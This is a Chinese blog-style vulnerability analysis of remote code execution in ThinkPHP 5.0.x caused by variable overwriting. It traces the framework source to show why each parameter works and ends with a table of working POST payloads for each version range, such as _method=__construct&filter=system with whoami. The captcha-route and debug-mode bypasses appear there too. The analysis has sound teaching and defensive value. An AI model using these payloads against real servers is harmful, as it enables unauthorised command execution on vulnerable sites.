返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >thinkphp5.0.X全版本变量覆盖导致RCE的示例分析
  • 761
分享到

thinkphp5.0.X全版本变量覆盖导致RCE的示例分析

2023-06-14 18:06:25 761人浏览 泡泡鱼
摘要

小编给大家分享一下thinkPHP5.0.X全版本变量覆盖导致RCE的示例分析,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!简介总是碰到一些thinkphp5.0.X的站点,网上搜索漏洞利用payload会有好几种,变量覆

小编给大家分享一下thinkPHP5.0.X全版本变量覆盖导致RCE的示例分析,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!

简介

总是碰到一些thinkphp5.0.X的站点,网上搜索漏洞利用payload会有好几种,变量覆盖导致的远程代码执行,不同小版本之间会有些差别,比如下面几种。

_method=__construct&filter=system&a=whoami_method=__construct&filter=system&a=whoami&method=GET_method=__construct&filter=system&get[]=whoami...

payload虽没错,但是用得我挺懵,不知所以然。
这几种到底有什么差异?
各个参数的作用是什么?
为什么会这样?

分析

thinkphp有两种版本,一种是核心版,一种是完整版。简单来讲核心版不包括第三方类库,比如验证码库(划重点,后面会用到)。

5.0.0说起,适用于5.0.0的代码执行payload长这样

POST /thinkphp5.0.0 Http/1.1_method=__construct&filter=system&a=whoami&method=GET

thinkphp5.0.X全版本变量覆盖导致RCE的示例分析
为什么 _method=__construct
为什么 filter=system
为什么 a=whoami
为什么 method=GET

thinkphp的入口文件为public/index.php,如下。

// 定义应用目录define('APP_PATH', __DIR__ . '/../application/');// 加载框架引导文件require __DIR__ . '/../thinkphp/start.php';

跟进thinkphp/start.php

// 1. 加载基础文件require __DIR__ . '/base.php';// 2. 执行应用App::run()->send();

看到是调用的是App::run()执行应用。
跟进thinkphp/library/think/App.php下的run()函数。

        public static function run(Request $request = null)    {        ...            // 获取应用调度信息            $dispatch = self::$dispatch;            if (empty($dispatch)) {                // 进行URL路由检测                $dispatch = self::routeCheck($request, $config);            }            // 记录当前调度信息            $request->dispatch($dispatch);        ...     }

run()函数中,会根据请求的信息调用self::routeCheck()函数,进行URL路由检测设置调度信息并赋值给$dispatch

        public static function routeCheck($request, array $config)    {        ...            // 路由检测(根据路由定义返回不同的URL调度)            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);        ...        return $result;    }

其中的Route::check()函数如下。

        public static function check($request, $url, $depr = '/', $checkDomain = false)    {        ...        $method = $request->method();        // 获取当前请求类型的路由规则        $rules = self::$rules[$method];        ...

会调用$request->method()函数获取当前请求类型。

        public function method($method = false)    {        if (true === $method) {            // 获取原始请求类型            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);        } elseif (!$this->method) {            if (isset($_POST[Config::get('var_method')])) {                $this->method = strtoupper($_POST[Config::get('var_method')]);                $this->{$this->method}($_POST);        ...        return $this->method;    }

因为上面调用method()函数是没有传参的,所以这里$method = false,进入elseifvar_method是表单请求类型伪装变量,可在application/config.php中看到其值为_method

// 表单请求类型伪装变量'var_method'             => '_method',

那么只要POST传递一个_method参数,即可进入下面的if,会执行

$this->method = strtoupper($_POST[Config::get('var_method')]);$this->{$this->method}($_POST);

因此可通过指定_method来调用该类下的任意函数。
所以_method=__construct是为了调用thinkphp/library/think/Request.php下的__construct函数。需要注意的是这里同时也将Request类下的$method的值覆盖为__construct了,这个很重要,先记录下。

method => __construct

那为啥要调用__construct函数完成攻击链,不是别的函数呢?
跟进函数,如下。

        public function __construct($options = [])    {        foreach ($options as $name => $item) {            if (property_exists($this, $name)) {                $this->$name = $item;            }        }        if (is_null($this->filter)) {            $this->filter = Config::get('default_filter');        }    }

上面调用__construct函数的时候把$_POST数组传进去了,也就是会用foreach遍历POST提交的数据,接着使用property_exists()检测当前类是否具有该属性,如果存在则赋值,而$name$item都是来自$_POST,完全可控,这里就存在一个变量覆盖的问题。filter=system&method=GET 作用就是把当前类下的$filter覆盖为system,$method覆盖为GET,当前变量情况:

method => __construct => GETfilter => system

为什么要把method又覆盖一遍成GET?,因为前面在check()函数中有这么两行代码。

$method = $request->method();// 获取当前请求类型的路由规则$rules = self::$rules[$method];

前面已经在method()函数中进行了变量覆盖,$method的值为__construct。而$rules的定义如下:

    private static $rules = [        'GET'     => [],        'POST'    => [],        'PUT'     => [],        'DELETE'  => [],        'PATCH'   => [],        'HEAD'    => [],        'OPTIONS' => [],        '*'       => [],        'alias'   => [],        'domain'  => [],        'pattern' => [],        'name'    => [],    ];

那么如果不再次覆盖$methodGET、POST、PUT等等,self::$rules[$method]就为self::$rules['__construct'],程序就得报错了嘛。

应用调度信息后获取完毕后,若开启了debug,则会记录路由和请求信息。这也是很重要的一点,先记录。

if (self::$debug) {                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');            }

再根据$dispatch类型的不同进入switch case处理。

            switch ($dispatch['type']) {                case 'redirect':                    // 执行重定向跳转                    $data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']);                    break;                case 'module':                    // 模块/控制器/操作                    $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);                    break;                case 'controller':                    // 执行控制器操作                    $data = Loader::action($dispatch['controller']);                    break;                case 'method':                    // 执行回调方法                    $data = self::invokeMethod($dispatch['method']);                    break;                case 'function':                    // 执行闭包                    $data = self::invokeFunction($dispatch['function']);                    break;                case 'response':                    $data = $dispatch['response'];                    break;                default:                    throw new \InvalidArgumentException('dispatch type not support');            }

直接访问public/index.php默认调用的模块名/控制器名/操作名/index/index/index,具体定义在application/config.php里面。

// 默认模块名'default_module'         => 'index',// 禁止访问模块'deny_module_list'       => ['common'],// 默认控制器名'default_controller'     => 'Index',// 默认操作名'default_action'         => 'index',

因此对应的$dispatch['type']module,会调用module()函数,经过一系列的处理后返回数据到客户端。

case 'module':                    // 模块/控制器/操作                    $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);                    break;

跟进module()函数,关键在invokeMethod()

        public static function module($result, $config, $convert = null)    {     ...            $data = self::invokeMethod($call);     ...

invokeMethod()如下,跟进bindParams()

       public static function invokeMethod($method, $vars = [])    {        ...        $args = self::bindParams($reflect, $vars);        ...    }

bindParams()如下,跟进param()

        private static function bindParams($reflect, $vars = [])    {        if (empty($vars)) {            // 自动获取请求变量            if (Config::get('url_param_type')) {                $vars = Request::instance()->route();            } else {                $vars = Request::instance()->param();            }        }

这是关键点,param()函数是获取当前请求参数的。

        public function param($name = '', $default = null, $filter = null)    {        if (empty($this->param)) {            $method = $this->method(true);            // 自动获取请求变量            switch ($method) {                case 'POST':                    $vars = $this->post(false);                    break;                case 'PUT':                case 'DELETE':                case 'PATCH':                    $vars = $this->put(false);                    break;                default:                    $vars = [];            }            // 当前请求参数和URL地址中的参数合并            $this->param = array_merge($this->get(false), $vars, $this->route(false));        }        if (true === $name) {            // 获取包含文件上传信息的数组            $file = $this->file();            $data = array_merge($this->param, $file);            return $this->input($data, '', $default, $filter);        }        return $this->input($this->param, $name, $default, $filter);    }

这里又会调用method()获取当前请求方法,然后会根据请求的类型来获取参数以及合并参数,参数的来源有get[],route[],$_POST,那么通过可以变量覆盖传参,也可以直接POST传参。
所以以下几种方式都是一样可行的:

a=whoamiaaaaa=whoamiget[]=whoamiroute=whoami

最后调用input()函数

        public function input($data = [], $name = '', $default = null, $filter = null)    {        ...        if (is_array($data)) {            array_walk_recursive($data, [$this, 'filterValue'], $filter);            reset($data);        } else {            $this->filterValue($data, $name, $filter);        }        ...    }

input()函数中会通过filterValue()函数对传入的所有参数进行过滤,这里全局过滤函数已经在前面被覆盖为system并会在filterValue()函数中使用。

private function filterValue(&$value, $key, $filters){    $default = array_pop($filters);    foreach ($filters as $filter) {        if (is_callable($filter)) {            // 调用函数或者方法过滤            $value = call_user_func($filter, $value);    ...

通过call_user_func()完成任意代码执行,这也就是filter为什么要覆盖成system的原因了,覆盖成别的函数也行,想执行什么覆盖成什么。

thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()函数中有一处改动。
thinkphp5.0.X全版本变量覆盖导致RCE的示例分析
这里多了一处判断,所以不加method=GET也不会报错,可以正常执行。

_method=__construct&filter=system&a=whoami

thinkphp5.0.X全版本变量覆盖导致RCE的示例分析
测试5.0.13版本,payload打过去没有反应,为什么?
thinkphp5.0.X全版本变量覆盖导致RCE的示例分析
跟踪代码发现thinkphp/library/think/App.php下的module()函数多了一行代码。

    // 设置默认过滤机制    $request->filter($config['default_filter']);

前面通过变量覆盖把$filter覆盖成了system,这里又把$filter给二次覆盖回去了,导致攻击链断了。

前面提到过如果开启了debug模式,很重要,为什么呢?

// 记录路由和请求信息            if (self::$debug) {                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');            }

最后一句会调用param()函数,而攻击链核心就是通过前面的变量覆盖全局过滤函数$filter,进入param()获取参数再进入input()进行全局过滤造成的代码执行。这里在$filter被二次覆盖之前调用了一次param(),也就是说如果开启了debug,在5.0.13开始也可以攻击,也是为什么有时候代码执行会返回两次结果的原因。
thinkphp5.0.X全版本变量覆盖导致RCE的示例分析
filter是在module函数中被覆盖回去的,而执行module函数是根据$dispatch的类型来决定的,那是否能不走module函数,绕过这里的覆盖呢?
完整版的thinkphp中,有提供验证码类库,其中的路由定义在vendor/topthink/think-captcha/src/helper.php中。

\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");

其对应的dispatch类型为method,完美的避开了二次覆盖,路由限定了请求类型为get,所以在5.0.13开始,如果没有开debug,还可以调用第三方类库完成攻击链。

POST /?s=captcha_method=__construct&filter=system&method=GET&a=whoami

thinkphp5.0.X全版本变量覆盖导致RCE的示例分析
5.0.21版本开始,函数method()有所改动。
thinkphp5.0.X全版本变量覆盖导致RCE的示例分析
通过server()函数获取请求方法,并且其中调用了input()函数。

public function server($name = '', $default = null, $filter = ''){    if (empty($this->server)) {        $this->server = $_SERVER;    }    if (is_array($name)) {        return $this->server = array_merge($this->server, $name);    }    return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);}

前面分析过了,最后代码执行是进入input()中完成的,所以只要能进入server()函数也可以造成代码执行。

POST /?s=captcha HTTP/1.1_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

param()函数是根据method()返回值来获取参数的,现在method()的逻辑变了,如果不传递server[REQUEST_METHOD],返回的就是GET,阅读代码得知参数的来源有$param[]、$get[]、$route[],还是可以通过变量覆盖来传递参数,但是就不能用之前形如a=whoami任意参数名来传递了。

// 当前请求参数和URL地址中的参数合并            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));

在测试的时候发现只能通过覆盖get[]、route[]完成攻击,覆盖param[]却不行,调试后找到原因,原来是在route()函数里param[]又被二次覆盖了。

        public function route($name = '', $default = null, $filter = '')    {        if (is_array($name)) {            $this->param        = [];            return $this->route = array_merge($this->route, $name);        }        return $this->input($this->route, $name, $default, $filter);    }
POST /?s=captcha HTTP/1.1_method=__construct&filter=system&method=GET&get[]=whoami

thinkphp5.0.X全版本变量覆盖导致RCE的示例分析
或者

POST /?s=captcha HTTP/1.1_method=__construct&filter=system&method=GET&route[]=whoami

thinkphp5.0.X全版本变量覆盖导致RCE的示例分析

总结

各版本通用的变量覆盖payload如下
5.0.0~5.0.12 无条件触发

POST / HTTP/1.1_method=__construct&filter=system&method=GET&a=whoamia可以替换成get[]、route[]或者其他名字

5.0.13~5.0.23 需要有第三方类库 如完整版中的captcha

POST /?s=captcha HTTP/1.1_method=__construct&filter=system&method=get&get[]=whoamiget[]可以换成route[]

5.0.13~5.0.23 需要开启debug

POST / HTTP/1.1_method=__construct&filter=system&get[]=whoamiget[]可以替换成route[]

看完了这篇文章,相信你对“thinkphp5.0.X全版本变量覆盖导致RCE的示例分析”有了一定的了解,如果想了解更多相关知识,欢迎关注编程网PHP编程频道,感谢各位的阅读!

--结束END--

本文标题: thinkphp5.0.X全版本变量覆盖导致RCE的示例分析

本文链接: https://lsjlt.com/news/274156.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • thinkphp5.0.X全版本变量覆盖导致RCE的示例分析
    小编给大家分享一下thinkphp5.0.X全版本变量覆盖导致RCE的示例分析,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!简介总是碰到一些thinkphp5.0.X的站点,网上搜索漏洞利用payload会有好几种,变量覆...
    99+
    2023-06-14
  • PHP中变量覆盖漏洞的案例分析
    这篇文章主要介绍了PHP中变量覆盖漏洞的案例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。1.extract()变量覆盖1.extract()extract() 函数从数...
    99+
    2023-06-14
  • HTML中全局变量的示例分析
    这篇文章主要为大家展示了“HTML中全局变量的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“HTML中全局变量的示例分析”这篇文章吧。HTML 中的全局...
    99+
    2024-04-02
  • 大量删除导致MySQL慢查的示例分析
    这篇文章将为大家详细讲解有关大量删除导致MySQL慢查的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。一、背景监控上收到了大量慢查的告警,业务也反馈查询很慢,随即...
    99+
    2024-04-02
  • 插件导致ECharts被全量引入的坑示例解析
    目录正文按需引入的问题问题分析解决方案正文 ECharts作为一个图标库已经被大家广泛使用,它提供了各式各样的图表类型,但是在我们日常使用中可能只会用到其中的某几个图表类型,常用的基...
    99+
    2024-04-02
  • C语言中全局变量与局部变量的示例分析
    小编给大家分享一下C语言中全局变量与局部变量的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!一:局部变量与全局变量1.1:局部变量局部变量:在函数内部定义...
    99+
    2023-06-25
  • 低版本Druid连接池+MySQL驱动8.0导致线程阻塞、性能受限的示例分析
    这篇文章将为大家详细讲解有关低版本Druid连接池+MySQL驱动8.0导致线程阻塞、性能受限的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。现象应用升级MySQL驱动8.0后,在并发量较高时,查...
    99+
    2023-06-20
  • 甲骨文改变Java版本号命名方式的示例分析
    本篇文章为大家展示了甲骨文改变Java版本号命名方式的示例分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。为了避免混淆,甲骨文宣布改 变Java版本号命名方式:自JDK 5.0起,Java以两种方...
    99+
    2023-06-17
  • css3中transform导致子元素固定定位变成绝对定位的示例分析
    这篇文章主要介绍css3中transform导致子元素固定定位变成绝对定位的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!css3 transform导致子元素固定定位变成绝对定位的方法<!DOCTYP...
    99+
    2023-06-08
  • JAVA,Mybatis,Oracle变量类型与字段类型不一致、分区表全扫的优化示例
    这篇文章主要介绍JAVA,Mybatis,Oracle变量类型与字段类型不一致、分区表全扫的优化示例,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!开发反应[增量库存]功能慢,并反馈查询有指定分区条件,量较小;1)通过...
    99+
    2023-06-03
  • Proftpd不显示ftp服务器版本信息以增强安全性的示例分析
    Proftpd不显示ftp服务器版本信息以增强安全性的示例分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。ProFTPD是继Wu-FTP之后最为流行的FTP服...
    99+
    2023-06-16
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作